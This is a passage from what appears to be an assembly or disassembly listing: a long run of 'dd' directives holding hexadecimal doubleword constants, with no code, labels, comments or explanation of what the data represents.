0A94C5Ah, 0F14043B7h, 5EE3A005h dd 185D603Dh, 59763AB2h, 0D6150300h, 0DB1A01AAh, 0D4E2013Eh dd 4E5597E9h, 4026E052h, 330EBF16h, 3198FC01h, 32C46CB6h dd 0F3B90013h, 0EFEB1D1Eh, 80E94752h, 0F89AC78Ch, 94119Bh dd 0AD15604h, 3AE09160h, 0F930E90Fh, 63868E8Dh, 80662BB2h dd 0B4FA57Eh, 0C60802C7h, 70BF4C27h, 3589E58Ch, 0DD0E4571h dd 814755B9h, 0E24A32B8h, 0FFC3CFCh, 226AA6AEh, 37658BE0h dd 9400AAB4h, 0BA5E734h, 0F6D7BF45h, 0DAC30069h, 8A655038h dd 0ECB02572h, 782F493Bh, 8F78F719h, 82F93710h, 3321F3F1h dd 8D8E8887h, 840D67E9h, 3EF5832Ch, 1DE759A0h, 0D8D1C00Fh dd 2DAC8095h, 7C3B4357h, 0D480005Fh, 92AB36CCh, 33779E4Dh dd 0DC90C900h, 0E8DDAE96h, 6D380032h, 0E1E0E991h, 47702428h dd 12575818h, 61529260h, 78828126h, 0FC44752Bh, 4A1C9386h dd 55C047F6h, 2C76365Bh, 63E7FC5Ah, 0A31230CDh, 9298C81Eh dd 0A0919Eh, 0FB4A7567h, 3D14B235h, 0BB7EF800h, 1E0E5533h dd 64F6037Fh, 128D0813h, 882EEC90h, 0BD6E1400h, 0DA0C3FA0h dd 1D8401A2h, 0DAF80BBh, 35807EB2h, 67CCC4h, 0C56F9DFAh dd 4291064Bh, 4EDA6E0Bh, 0A4DEEFh, 33CB6110h, 8E01B7B8h dd 0C956ED8Fh, 0B18012EBh, 0C1F437C0h, 98840AB3h, 49B600ABh dd 7D2CBFFh, 0E8C09B8Ch, 9280AAADh, 0C0D6E84Fh, 29B19340h dd 52750FEEh, 5C3BAEFAh dd 0D305802Bh, 0E90BCE84h, 8A0A828h, 671B3C15h, 4896100h dd 0A360C381h, 3ED52200h, 360FF44Bh, 0C253E2Ah, 106C3C78h dd 41F3AF07h, 0F2720B6h, 597721E6h, 0EF202900h, 90FAA8D6h dd 91260067h, 1BBFD7DDh, 3F180815h, 9379174Dh, 0EAD61849h dd 67521114h, 0CC4648h, 7806CA8h, 7C6B4159h, 0A4F300FAh dd 0DA6A35ECh, 5500D547h, 0F5E1E680h, 81682Bh, 84403949h dd 7A8DD8C7h, 0E6BDD700h, 685A97CCh, 311600FBh, 77AF5EFCh dd 663E1D9Eh, 7A100059h, 0C8D64035h, 808B0F86h, 0A40736C7h dd 0F5FBD043h, 1C181989h, 0A6088A02h, 0C420C0C8h, 3EA57A58h dd 0EEFC344Eh, 0A7AC3D00h, 8F23E224h, 607B7931h, 15F05D49h dd 36AF375Fh, 0B34380A1h, 11C02390h, 413FFB16h, 9F2706BCh dd 8DFB5DCh, 0F521C861h, 0FED84413h, 770DF03Fh, 0AF600364h dd 51859EBDh, 0ED106873h, 606433D5h, 3FFA60AEh, 0EFBC0856h dd 1B44DF9Eh, 4412E440h, 0A87310B3h, 0C6ACF40Fh, 8EB8272Ah dd 5D37BC60h, 0EB810047h, 35117C3Ch, 8A30FA59h, 754610FFh dd 0CA4F0084h, 6C1B0BD2h, 180EF79Ch, 27C6A652h, 33E0F268h dd 0AB5B46h, 4F7F6C6Fh, 616AA1E2h, 76678AA0h, 0DF31EB0Fh dd 3D113A22h, 0FB98BF04h, 465B102Ah, 0F6EE3B00h, 0ADA58FBEh dd 7052EC6Bh, 0CE510353h, 6FB1DFD5h, 0C2BDB8C0h, 1D0058EEh dd 4CE57B63h, 952914h, 75BBB9DEh, 0E666D049h, 51A19701h dd 72F240Ch, 791BF0h, 0C627BB38h, 0E7F0C5ACh, 2DB3EF00h dd 5B3D4CD0h, 21950072h, 170B4DCAh, 1100BA58h, 0C7DD8115h dd 0FCD0E76Ch, 0FDDB00AAh, 214E8246h, 2005FF9Ch, 0F74A1559h dd 0E26511C0h, 6E7600C3h, 1FA65B05h, 21E5C532h, 0C9A800F0h dd 860F6631h, 20676E9Ch, 0AFE5F76Ah, 0A2B8F6h, 4B78AC95h dd 3F5816EBh, 3B00D37Eh, 53E0330Ch, 0E2F059Eh, 0B7A7B371h dd 0E1622980h, 900FE74h, 0BF6530A0h, 39F0B5h, 3CF3D585h dd 955E98A4h, 0CCF9B107h, 4B6003C3h, 0F75167Eh, 0E530FB5Fh dd 0A2C48201h, 0F2C0E893h, 0BD778500h, 8837DB72h, 2CED01E9h dd 0B2DAB65h, 0E135F882h, 74DADD00h, 603629C1h, 3A0D2A96h dd 0A87DECh, 0C3571A56h, 819225F5h, 0F0D51900h, 16A9BF78h dd 0CA7239AEh, 0F8603D7Fh, 29027D00h, 755ABA11h, 57407900h dd 35E67B9Bh, 7D1F4842h, 9E1C5224h, 0D828099h, 5123F73Ch dd 5069731Dh, 18496E00h, 7EA59385h, 90C0077Bh, 0B1F1A684h dd 0F4461370h, 0EB00CACFh, 0EE0CAC74h, 0E50434h, 0CB6879A4h dd 0D0F65067h, 7B38F500h, 596F584Fh, 0C0AE0090h, 8AABB2BAh dd 0D750F096h, 0CA0036CCh, 4C79CC2h, 0E6FBDDh, 70513B4Eh dd 4C77138Fh, 78249300h, 0EA64BB42h, 0D6850320h, 86DCBA43h dd 80D80499h, 0E774A48h, 3A1782h, 0B79D9FF0h, 453E4CCDh dd 180912EEh, 25135F81h, 5C00AA98h, 5208F411h, 631E3A7Fh dd 9C3CFE81h, 0F0CCCF92h, 2001886h, 96194123h, 0BA9F88h dd 52D1EB6h, 0EFD7C733h, 70D4CC00h, 0C1650ACh, 601076C6h dd 2E32A8CFh, 9B0006E4h, 0C291288Ah, 78FD72Ch, 2B72AAC8h dd 3B0D0312h, 937103D0h, 31CA3Ah, 1A642553h, 567E81h, 3B44614Ah dd 2EA06BB2h, 415017FAh, 0F3319E0h, 0A00DF080h, 0CC3CF5h dd 7FB5DAEFh, 0BF701BD0h, 15D6E500h, 13BCD375h, 0FF8F003Bh dd 0A1CB4A2Ah, 95076FE0h, 75CF3EEDh, 879E6ED0h, 48B7F25h dd 0DB4C3C7Eh, 0BC808136h, 5CC4C8FDh, 0ACA4C050h, 0F156744h dd 4F21EF25h, 5C0AF480h, 9F07CDECh, 613065E4h, 3F87A920h dd 26FE5844h, 0AEB55503h, 0DBD80289h, 5107FF3Eh, 9C600FD0h dd 0DDB64950h, 5F7700D3h, 355BBB1Ah, 9F006C0Ah, 0B370A589h dd 30B164D8h, 0A8306B7Eh, 8A387D5Dh, 0C09700B4h, 0DFD77F7Ah dd 41A36013h, 8840EEC9h, 173B720Ch, 7D3980h, 0EA4E54A5h dd 40F09852h, 19319361h, 61CC4ADEh, 0BCED1071h, 1137006Ch dd 9A1CD70Dh, 0FB12003Ah, 0CDF5396Dh, 5F7E8C44h, 7F3EC500h dd 0ED139DC9h, 414A00B9h, 42A763ECh, 26047088h, 0E0AB4D5Ch dd 0A041EEBCh, 82930h, 0F214737Ah, 685E2FBCh, 0BA360A00h dd 0DF1E0B83h, 81010059h, 787AE2DBh, 140341D0h, 3A7271Bh dd 8B1AC81Eh, 2F8A0019h, 2802B8A6h, 38C0E731h, 0F0C73CCEh dd 8E2B03EBh, 30A1C225h, 0C59905D0h, 2CE04554h, 0F3164A01h dd 0E11AAE26h, 28BA52C0h, 0FC184Bh, 0FF7C06A3h, 9DA82584h dd 2B74D51Dh, 28C22780h, 0EE6D37h, 0A9853DB2h, 6FDBF0F2h dd 614C2B03h, 0B1A821E9h, 3D06871h, 30561E49h, 0A0862836h dd 0F83F18D5h, 0D7DB003Ch, 8228C74h, 8FB075F7h, 84C4EA0Fh dd 5980DCB8h, 982CFDE0h, 107D00CAh, 0C84099ECh, 6B0587E8h dd 549F2508h, 0CC75A800h, 4D2AAAh, 49342B82h, 1F239A70h dd 3E6F94Ch, 0DFF3FB51h, 7386D806h, 548E002Eh, 852BD782h dd 0CA00EAC9h, 0DD84ED59h, 0BAAE1Ah, 2328AA5Bh, 0FFBE4E42h dd 3ADA3100h, 77EBB276h, 278F00E8h, 0CE82C5DFh, 0C1E432B9h dd 973B3A00h, 86D14062h, 7D740443h, 803F345Ah, 0E892B430h dd 8084292Fh, 54738562h, 2AE600F8h, 3ED604E2h, 0D10016F1h dd 0D9A00E58h, 186053h, 0EC0F86BCh, 492320B9h, 4D382C00h dd 526430D7h, 8144066Bh, 70A6507Dh, 48DB1102h, 4069159Dh dd 41C460h, 394F3121h, 12A8864Ah, 0D4807D00h, 6802FF1Bh dd 0FEC2093Dh, 0CD84289Bh, 0EE1DC101h, 0DDAFC8EAh, 9C0030EEh dd 2C8A8D4Ah, 7E5DF0h, 40AE93B7h, 6695983Dh, 5B277807h dd 593047C8h, 38ADD55h, 0FD207BE8h, 14F0C15Dh, 22E41249h dd 3D7CFC3Bh, 64DD00C9h, 93FBBAB6h, 67E01CCCh, 0B94A80D9h dd 757A7451h, 0C4DF5400h, 5D52D27Eh, 4FD70B25h, 49001B3Eh dd 29465A97h, 3D73E375h, 7B267178h, 351FBF7Ch, 0BCAB3100h dd 5F91BAh, 48CCC40Bh, 0D1A6C6A1h, 0A0CE9EEh, 78C561F5h dd 6F9F03A7h, 2CDEB9E1h, 38F7EDD8h, 0B063EE2Eh, 2E08680h dd 0CF49Bh, 0F3F19544h, 0F5ED605Eh, 0BF004EF0h, 0BE4846FAh dd 4A1603h, 8FECFD0Bh, 0BC172A08h, 0CBEEF200h, 0E8F8DBA4h dd 0E94706CEh, 616293B4h, 0CC565D2Ch, 3328D680h, 0E878E01Ah dd 85C5DDEh, 4811DC30h, 80836D03h, 0FEBA4609h, 58690044h dd 9D428E82h, 0A0007801h, 55129610h, 799ED4h, 0E7AB384Bh dd 0FFE68BC8h, 96005A7Ch, 9A7761Ah, 0C0673195h, 443BC180h dd 350262E8h, 86DE9C24h, 16071875h, 3AB02900h, 5FB60B35h dd 937F26D4h, 94EE9D28h, 0A060645Ch, 817721Ah, 68D81814h dd 0D1162E14h, 443C2C01h, 0E1C4959Dh, 0D7E400A2h, 25F8905Dh dd 7A00A855h, 73AAE0BFh, 986364h, 0E4A9C756h, 0FEC05DE3h dd 8059EA3Eh, 0F8308F71h, 0B5A62Bh, 0BEF54C69h, 41922617h dd 38B20100h, 0A5F67380h, 0CB2200BDh, 953979CDh, 0B7003159h dd 3B91281h, 9D6C2Ch, 0B8FCB22Dh, 30F8AF28h, 80D0C238h dd 6217542h, 627C64h, 2EA96AB0h, 0FC554E82h, 0FB0F97FAh dd 60A35E11h, 8848EBA7h, 9A6A248Ah, 776100D5h, 4E5FEDDFh dd 0BBC1D601h, 0C6F91952h, 392A6FE4h, 0C789BD3Ah, 2A089733h dd 660280A0h, 59A582A8h, 96FD4400h, 0C3774D78h, 0F9450334h dd 19633F71h, 50368989h, 25E8B8ACh, 0F9786900h, 0DCA44167h dd 385501AFh, 0FD94D80Dh, 6C2886F5h, 756957D5h, 0A7A21EAEh dd 0C1258255h, 0FA6011F8h, 0F4B228E1h, 0BBF1E00h, 0DC2090FBh dd 0E79B00DEh dd 0EF0DCFA3h, 14A08972h, 0D9F4910Ch, 63F3C600h, 0F95FFEE9h dd 6F980089h, 29D61CA9h, 4A9888B3h, 0BD48718h, 0F42339h dd 454CDAC9h, 0EE343BB1h, 68AF5E06h, 780C29h, 95A0F63Ah dd 1E45B954h, 0D3A9B102h, 80766E87h, 3C57BE68h, 935E0074h dd 0E65A66EFh, 3D2BFE69h, 435104D1h, 46B1C44h, 65B460ADh dd 11C32A00h, 3EC2362Fh, 6218003Ah, 6CAD6839h, 0FA002750h dd 0FE304564h, 39A0AD1h, 0CB0DE9DBh, 4807420Eh, 546AE7C9h dd 88A26720h, 148C002Eh, 0DB71FF31h, 7F18CB61h, 0D1203CD5h dd 0EE170AB5h, 7020C1E1h, 0C8C871Fh, 6838C20Fh, 0E900B1B8h dd 0E08FAF43h, 0C4368C9Eh, 0C740BB19h, 0C6E5500Ch, 300C041h dd 0B9444771h, 0F4B385h, 45E88BBCh, 512202ECh, 3B4B2400h dd 40DB2765h, 0FE311EEDh, 9060152Eh, 0EABD5A1Fh, 6950F894h dd 87001993h, 539144E8h, 0E91C671Eh, 39283E59h, 0E7376D0h dd 14944DB0h, 8BD237A7h, 6A083B83h, 5AEE401Bh, 9EF6D049h dd 69C00DAh, 558F69BDh, 0D0FB949Fh, 8DE03CDEh, 8066B03Dh dd 483989E7h, 77C3E4h, 4CBD7A3Fh, 0BE940B3Ah, 6CFF741Fh dd 0FCAF280h, 544C5AEh, 0A559E5E1h, 8B600466h, 0E70C4094h dd 3CDB2AEEh, 0BF003882h, 304623BEh, 0F1FE2E9Eh, 8D489F74h dd 0B9F68014h, 3CD8B2E4h, 1180C5BDh, 0ED7BDF44h, 0C3034957h dd 20DD4E6Ah, 3FE3B0h, 928B8170h, 42F246ADh, 41A1841Eh dd 1CB1B046h, 58035C69h, 0A16C6618h, 9400A365h, 9040F1EAh dd 0D9B5696h, 1CB90F74h, 0C3C9589h, 0BB3DB4h, 77D78A57h dd 6E7A25h, 870B501Dh, 818FC4FDh, 270863Fh, 4B66A6A1h dd 10684A25h, 8B67B3ECh, 19DEB837h, 53E89E86h, 0F200A4EFh dd 0BE99CEAh, 6930D798h, 0E3B0392Eh, 0DF060092h, 7644E69Bh dd 0A9786BFFh, 0B4ACCC01h, 18E273Eh, 8148788Fh, 2DC8CA40h dd 0A4A1C726h, 44A64054h, 99C00B86h, 8B913C84h, 0A0280296h dd 4E690F99h, 21008643h, 1C6AE32Ah, 0D5B409h, 9B3723B1h dd 0BDBCBF72h, 0C401C377h, 0B6743644h, 0D8204605h, 0B82E290Bh dd 0E70100FCh, 82916CDAh, 590E8C30h, 4455CAh, 0BA58F8D3h dd 82BFCF7Dh, 9E4080F3h, 5B13FBE7h, 0C28C3E5Dh, 321AE38Ch dd 7C788551h, 6C686902h, 0FF1F59DFh, 0E01CED60h, 92395D3Ch dd 402131B0h, 4910938Dh, 34608CA1h, 1548F81h, 511B24D5h dd 0B21F0A64h, 0C09E46F4h, 661410E9h, 6E6009Ch, 0B0BAE3CDh dd 0DC9041E2h, 692F6930h, 0B7373Ah, 86C5D89Fh, 446246D5h dd 50487300h, 0AEE48495h, 1834980Dh, 69301CF5h, 78008C87h dd 0DD8F6E08h, 0E08AA397h, 6290591h, 673637C8h, 8109E8h dd 76A7C49h, 9E400364h, 1B4675C4h, 0B0CD113Eh, 323A1925h dd 3E15F2A6h, 49809F59h, 455EBEDh, 5A24B2B3h, 84442CA5h dd 37374C8h, 2AB8FB7Fh, 3298F38Fh, 6C29FC1Eh, 0D20FC019h dd 8C174091h, 20662009h, 0A802213Bh, 0FF398A36h, 0FA78A07Dh dd 0A62F815Ah, 1C6D44C8h, 0B200DC91h, 0E9609747h, 90140F5Fh dd 0EB43F588h, 39006B66h, 0E32CC47Ah, 97FCDh, 36AD87DEh dd 949D77FCh, 1BB88A8h, 93B02288h, 22C41F08h, 1CB2DD26h dd 8943158Ch, 0D7BA5013h, 9C1A0172h, 0E9FA8267h, 0DCD6C8CEh dd 7E09E578h, 8147A18Bh, 8CD2E884h, 0A0441D6h, 24180115h dd 30C3DD18h, 0E0043E82h, 1E1A2764h, 31F83CC6h, 5AA194BAh dd 8891EAC6h, 55026B8h, 127751A3h, 0CA6FF80Ch, 8F28C0D2h dd 0A21C94A8h, 5527D0F7h, 1F480500h, 0D97C3BCBh, 7D030310h dd 0B66E3685h, 0C2FC29C9h, 59FD90B0h, 40318C26h, 0A122D764h dd 364898B0h, 2F602E78h, 0D02ACC21h, 0A1582C27h, 0C6060034h dd 5001F5E7h, 0E8EE6729h, 5AD3B51Eh, 4E3AB800h, 4D5B72D8h dd 0F2800C4Dh, 4F256E41h, 58314706h, 2CE11C81h, 80540A84h dd 0C8D1BB83h, 8500A529h, 335147FFh, 1F2435F2h, 418B1B4h dd 0CCD3A259h, 0E54C0F18h, 18EE8F2Ch, 1730991h, 0CC11C681h dd 26011E14h, 0C48840A0h, 0E8404344h, 39F0104h, 0A075F368h dd 247030B2h, 98CDEA26h, 692108h, 16EE36Ah, 5E003FC4h dd 0A32CF204h, 4C7FEF44h, 0E8443023h, 46B1241Ch, 0BE0F8670h dd 74F641E7h, 0F305089Bh, 0F88CCA5Ah, 198B3B8h, 62AD452Fh dd 1EDA0134h, 80336901h, 39371431h, 27D18BEh, 0C155FC8Bh dd 83C00B34h, 0B905CE03h, 0E80CF7A1h, 344564CDh, 9E145804h dd 44B3949Ch, 9499846Ah, 2CF46700h, 50CC140Bh, 0DC5466h dd 4945B324h, 0FB4AB261h, 3A04CD13h, 91700408h, 49F3830Bh dd 0FB44C863h, 74EA00A1h, 0CCF0E64Ah, 2E28A4ADh, 20E57C9Ch dd 3340F55Ch, 195760EEh, 0E5E4E37Dh, 87964F00h, 0C4A02DE6h dd 0ECFC572Eh, 40E41B26h, 752274F7h, 76007598h, 0D9F5B677h dd 0F565FABFh, 16DD7460h, 21C859E9h, 0DD5307CCh, 5898618Bh dd 0B7513000h, 0B10CC050h, 29A83752h, 9A00F41Ch, 0C5C16794h dd 0AA4005EFh, 28B2EA77h, 4A601CF8h, 4BED8131h, 6DE077Dh dd 0C3C1C4F0h, 69035EEBh, 41937B4h, 0D561F8F1h, 0F53E005Dh dd 0DF49209Fh, 935CE24Dh, 9EF0169Ch, 331B1461h, 90648050h dd 6C98B1h, 5FE6B6A6h, 0A5AAFFCAh, 0BB1224B3h, 32AF5432h dd 52EA8C69h, 0C931B910h, 0C934BADCh, 446E948h, 30CCB85Ch dd 52D8901h, 0BCD05A85h, 0E15830F1h, 0AE1B20h, 0E1364531h dd 0C3935FB7h, 533D347Eh, 6D688556h, 58D2EF5Dh, 9002270Eh dd 767DCD05h, 9F5D6702h, 41FB42B0h, 5030228Ch, 5952800Bh dd 32B6E1C7h, 1BEC8DC8h, 0BEB0F149h, 70D05789h, 0D715E700h dd 20E8C9C8h, 3F482EEDh, 881A45D4h, 0FD00AD1Ch, 4A5F7118h dd 0E08437h, 0B3831F42h, 0C0DF3DEBh, 3C59CCAEh, 4AB0C5E0h dd 0A6942C05h, 0BBE9B840h, 9057BBDh, 1ADF44C6h, 83A00813h dd 3400C592h, 0FC284694h, 0E026AA2Ch, 8D070B2Fh, 20319EEFh dd 254C6466h, 0E4540098h, 0C67B1CDCh, 4C0195EEh, 73761DC5h dd 8FED57B3h, 582159D0h, 0E4C40CE8h, 26D4A2D0h, 903E1839h dd 8F11876Eh, 0A0352644h, 0AE6FD826h, 80DE0021h, 148B6D33h dd 0CC1E8673h, 100AD611h, 199F02E5h, 48EEA1EBh, 39F04BB0h dd 0DED5D700h, 860F2FFCh, 0AA79028Bh, 31C4DD6h, 0F40C306Ch dd 8112BD5Ah, 0F4335484h, 0AACB00B2h, 1951614Dh, 0C30053E5h dd 85F81EEEh, 5FE4CB1h, 5D39A090h, 0FE8CCEAh, 7EF51400h dd 0AC9A5F78h, 5C2902E6h, 32335E2h, 0EE52ACCCh, 534B00D0h dd 5875A9B3h, 0B8E30F5Ch, 90789ABh, 0B4B069F1h, 948431C9h dd 0CD8B8034h, 7EBC70B6h, 0C98D3500h, 0D0ABB25Fh, 7FC0B81Ah dd 0A470B91Fh, 0DA309B4h, 50842C28h, 0F4B1688Fh, 0E0572980h dd 2C7AF395h, 0E2388B2Fh, 3A2B9366h, 0BC4618h, 8CD8D230h dd 0E0D45AEAh, 93AD2602h, 19A58D33h, 21872EEh, 39B5F8D2h dd 0A01070AAh, 0B2E60468h, 809C96A4h, 40B70A94h, 0EF00D8E3h dd 18D23506h, 304BD9h, 0CAC9CC5h, 0B678E43Ah, 0E01D694Bh dd 39B84958h, 4920608Ch, 19E661CCh, 25DB4A00h, 0C67EB31Fh dd 0F5491EA9h, 0DEA601BEh, 251D7FCBh, 0CAC0603Ch, 211E4622h dd 0CE12329Fh, 782D2D0Ch, 265CBB5Bh, 56006988h, 40449E27h dd 0B8BE63Fh, 83A56EBh, 1C70A410h, 704C94AFh, 610F8148h dd 0A014BB54h, 0E3FCEE98h, 0A493D0h, 8CC5489Ah, 7504FA8Eh dd 686F93D2h, 0A0BBBCC7h, 59BBB1C0h, 0E4B4523Ah, 602EEE15h dd 1E6E4080h, 5E09C135h dd 98E42273h, 0D3B82Ch, 6CAF1DCAh, 0D4CE871h, 0B43BA404h dd 28E33F74h, 2480004Dh, 0F0577EE8h, 8D3430F9h, 2516669h dd 71B17224h, 7369338h, 2BAF0C10h, 3F5A9C10h, 3852A600h dd 84E1A89Bh, 548C5CA1h, 2820AD8Fh, 73D5DBAFh, 0DD6E0577h dd 0EE1851F8h, 8952713Bh, 0FBFD3100h, 757F1798h, 0A0345469h dd 19F900B4h, 8D579925h, 9A021CF8h, 93B60C40h, 1F3DE1ABh dd 2BC8BC38h, 52017924h, 22BD0CC1h, 5CEEF18Ch, 27E0F071h dd 5900BC71h, 4A612D0Ch, 186AB7CDh, 48D2A96Dh, 29047BDFh dd 73EB075Eh, 9CFD9498h, 592118B0h, 2400AC54h, 150398A6h dd 0BCB2BBh, 2C743E94h, 0B08B3521h, 38129E4Eh, 6FEC0889h dd 3E2B8h, 0E39A7604h, 74F3D3BFh, 73023E1Eh, 0B08D8927h dd 436AC08h, 0EFAA0605h, 4277C492h, 2F8D3058h, 8F25844Ch dd 0C81038C6h, 512E8864h, 5A313661h, 19A748C6h, 0C0224484h dd 41A1D3C5h, 20A160A4h, 0E0301423h, 1ABD72Eh, 91DFCF58h dd 0EA6628B8h, 88A54523h, 0F1ECDEh, 0CE4C8430h, 51F93104h dd 0A45C6415h, 9E760070h, 0E1FEE9E7h, 7A13000Eh, 3621D1A1h dd 0AC2C7B1Ch, 68EAC83Dh, 0EC267F01h, 0E6EEE070h, 8F9E0924h dd 60834A2Ch, 0A9005519h, 62203AF2h, 610892h, 0EFB564EBh dd 0C31B5930h, 0CCFBBE00h, 0E6B0BB0Ah, 0ECF1C840h, 9F64B58h dd 0F9701612h, 0D8CF7205h, 1C26F440h, 5B871811h, 0E307BB7h dd 0CC91ABh, 5CEA4D72h, 714C6F7h, 9502CDF2h, 635A0E8Bh dd 1CD959h, 4EED7BDDh, 7450B0F3h, 9102328Ch, 85C95C81h dd 4A2C7BA1h, 0AB486074h, 0B5004799h, 0EB2A1727h, 30FA88DCh dd 84A10E1Ch, 4256156Bh, 0E8E0268h, 4396E692h, 0C8A4F408h dd 0D3B6A150h, 1DE5220h, 7CF2EEA0h, 0EE171844h, 0E5D814C0h dd 1C383781h, 0A48507C5h, 910E20A4h, 534DD8B7h, 0DE5A0C03h dd 0AF21B8C7h, 41E09EDCh, 2266030Ch, 0E1FD0098h, 0F0519F3Bh dd 23C400BCh, 0B0A66196h, 3E3CC25Dh, 0AE391786h, 2CC87812h dd 1380932Dh, 6BACD01Bh, 9FE00601h, 0D07CFE0Eh, 2138A15Fh dd 74343407h, 1C11EBC2h, 1B1C47B1h, 6D038C68h, 90937500h dd 2EA5DFA2h, 4D204F8Eh, 0CC310F8Ch, 567F51C0h, 5E791600h dd 0A281996Eh, 8DA817A0h, 38A81ECCh, 0C000459h, 37975F7Eh dd 0C74D1596h, 8428896Ch, 0E4A447F0h, 0E9D244EBh, 92589C02h dd 4E23159Fh, 0C3E40190h, 2DBDAB5Fh, 86EFE24h, 0F0A90B79h dd 46598F3Dh, 1D30E49h, 0B6B0BAC6h, 2422FC24h, 44D466A7h dd 0D244C171h, 157BFC4Ch, 0E828FB8Ch, 21039C8h, 1CE96931h dd 7A702DE8h, 803B74B9h, 0BD319C45h, 3055EB09h, 3F50BC5Ch dd 975DB41Ch, 0EC84501Ch, 5777590Ah, 0B2E090C3h, 0E66F4EE9h dd 0E49E0173h, 0D0059295h, 5110942Dh, 496480E8h, 0F5EA1BFh dd 0C3389CA8h, 0C652B001h, 0ADE4EC74h, 26F6E0A6h, 2B8B2C1Ch dd 0F394A200h, 50E83B3h, 1A88ED3Dh, 88F0A79Eh, 68034132h dd 3CE7C406h, 700B787Fh, 46FF74BDh, 54C909CCh, 4600D410h dd 59C2B3AAh, 4E66E839h, 6948C802h, 0CA98A32Dh, 1E37D8C1h dd 0D3E20770h, 5E8AEE5Dh, 0BC804D01h, 0CE20221Dh, 9E0691DEh dd 0F049DCF2h, 719CE503h, 2D7DA93h, 7CB6CAA9h, 0C441CACh dd 0C3064AF0h, 0C7273470h, 8090B1B8h, 756EEB1h, 0A317CD53h dd 1C61B2AFh, 0C0326330h, 0DA6C205Ah, 2C3DED0Fh, 2B2F9F7Fh dd 436BB4C0h, 0BACD26ACh, 72374534h, 55650064h, 232E9912h dd 70FF00A7h, 18421B36h, 25FAC49Fh, 0C16E1C0Bh, 0D5D06811h dd 74A98ADh, 0C706D3E6h, 11F9D1D0h, 52D98349h, 0B7B10F24h dd 3B7B5150h, 4ADE023Eh, 0E466ECA1h, 906788D9h, 0CFDF810Bh dd 4C213E7Fh, 48DF643Ch, 0EA0A69D2h, 9FC484D7h, 6C0630A3h dd 89A55AACh, 4827EAF8h, 0DD28201Bh, 5A91973Bh, 0EE5C2119h dd 8347C866h, 0F54A0600h, 289EC7DDh, 0E00F1681h, 871412D7h dd 1BB95C2Ch, 0A2F4E0A4h, 1241313Fh, 24A41983h, 0E5CF136Ch dd 5C110078h, 60D43829h, 4A819A1Ch, 0EBCBA65Dh, 4640B2A2h dd 0F6740080h, 3B22CCB3h, 0ECF6E3F0h, 39E4BC1Fh, 0FC886993h dd 25BA5A30h, 0B1906288h, 3E00A479h, 50966FF9h, 0E6530108h dd 5AB170F7h, 80B87C8Ch, 338174ADh, 51790590h, 0C16AC646h dd 680DC4h, 0DDB857h, 0B2D3CA4Bh, 0CEC8F97h, 5C66E50Ah dd 49918839h, 0F4EDF600h, 4051C49Ah, 9B12A90Bh, 0A58187Ah dd 5F6E0238h, 583CD28Ch, 34159471h, 0D0C292F8h, 3BB4E553h dd 0B9D21898h, 0C89CBB20h, 686694h, 5DC9B3ABh, 258D616Dh dd 1C84E49Ch, 8595402Fh, 1D1AD4BFh, 805DBACEh, 0B7A459A3h dd 0A898156Ah, 1101B920h, 0C11B1h, 0C4C0A766h, 0B096D7h dd 0CA1A1363h, 0A0D058A9h, 5B3F5A0Eh, 687E8ADEh, 89C3390Fh dd 430C44C6h, 26CA2163h, 0A2A5C400h, 5E5800D0h, 84F8AA7Dh dd 3E15E631h, 9C80CFB7h, 4B370B7Ah, 227A91BBh, 50FDA32Ch dd 0B9C898E9h, 7D0500E9h, 571E1143h, 3D0560DAh, 8D89830Dh dd 5B352898h, 0D85448D1h, 1DC75985h, 0B82EB842h, 1B1C232Ch dd 0F3EA6100h, 32F5D8EBh, 465B001Fh, 19ECBD11h, 0D0392207h dd 0B38097A9h, 3DE0E460h, 7810959Fh, 7B00B5F3h, 0B0DF9C03h dd 4C2E8D38h, 0AE00609Eh, 83ADA80Eh, 0B24BD539h, 54862432h dd 73AE8EC4h, 23614F23h, 12FFD7B8h, 1549E913h, 1ADF1460h dd 4AD8883Bh, 693C4F7Fh, 0CB1B9231h, 21A01037h, 1930475h dd 15673DB6h, 0E4F4EB99h, 0F4BCBC01h, 13815804h, 0C400A8F7h dd 6CF870DAh, 7400CC60h, 1347E51Ch, 12E0378Ch, 80CAAA2h dd 1443A130h, 0D3FE3943h, 7382EAB8h, 78DD7FCBh, 3308C871h dd 60B894E5h, 8C01F053h, 5E9BE2B2h, 0F147D85h, 201B2A9Dh dd 7C78B692h, 0A7A300C3h, 217F077Dh, 1D13C1B7h, 848CD38Ah dd 64855004h, 0CD3A00E1h, 99FBD74Ah, 0D200C3DCh, 3B4FB5AEh dd 74CAC8F1h, 6BAB0991h, 58106602h, 0FA00E979h, 9DE7A2EDh dd 0FAF29A96h, 0A1344C4Bh, 0ACF3433Fh, 68375DE0h, 0C9C30F85h dd 801C3C24h, 2EB9F116h, 2AC005Fh, 26EAFB09h, 6A0419CFh dd 9D164DDEh, 39FF090h, 0E4EC53BAh, 34711100h, 0D58FAD17h dd 74601F4Ah, 0BEBA2EA1h, 3C4983D0h, 5C1C816Ch, 36C06279h dd 0BDBCB307h, 13FE4F58h, 0E348D0D0h, 8E00C174h, 0F3A3AC40h dd 3D937EA8h, 68D9D098h, 9418F789h, 3300E330h, 1975C8FEh dd 358F4Bh, 1C873FD8h, 253963Ch, 0E6E44201h, 22D2A852h dd 4444092Ah, 0CDB04C48h, 0B6DC1C88h, 0C88C4444h, 58FAA6D4h dd 4F367300h, 4BA96B50h, 0A4405D4Ah, 0F4278B7h, 1000F1C2h dd 74C296DEh, 0C19051ECh, 5048BDBBh, 137BDF90h, 94413800h dd 50E681CCh, 0DC31953Fh, 580C76h, 29259620h, 42D0D16Ah dd 9BAC9F00h, 999DB7C7h, 353E0064h, 659C2F52h, 60032178h dd 40851DFAh, 76BDC0E2h, 75693EA7h, 0AE201A37h, 80B6BF87h dd 0E1816E7Eh, 820162FEh, 65B48D24h, 7AE402BCh, 4031C1A2h dd 8315FB53h, 59224F41h, 0CBCBE318h, 707C70h, 33DA2954h dd 0A982036Ch, 0DC7B2800h, 0A8D5831Eh, 0E10E00FAh, 0C41BD884h dd 643EF5DDh, 69CC05FDh, 3440A9A3h, 730A04C1h, 418F3C81h dd 79F2FA19h, 0B803E5DAh, 63C828h, 48AF97D8h, 760D7BE6h dd 0E10901C6h, 6077B229h, 0A399A885h, 981C27FCh, 0B8D6BCEFh dd 7C739900h, 63A4B621h, 8461887Bh, 19223100h, 0DB76CED1h dd 3E12001Dh, 371E3A8Fh dd 65526F1h, 39888B0h, 11280D61h, 0EFD5F0C1h, 0AC350928h dd 4129F5F9h, 44F4F318h, 0B5780064h, 4A954964h, 0B279CE03h dd 287B9E8Eh, 44A08389h, 69606102h, 8DF22819h, 6181CF9h 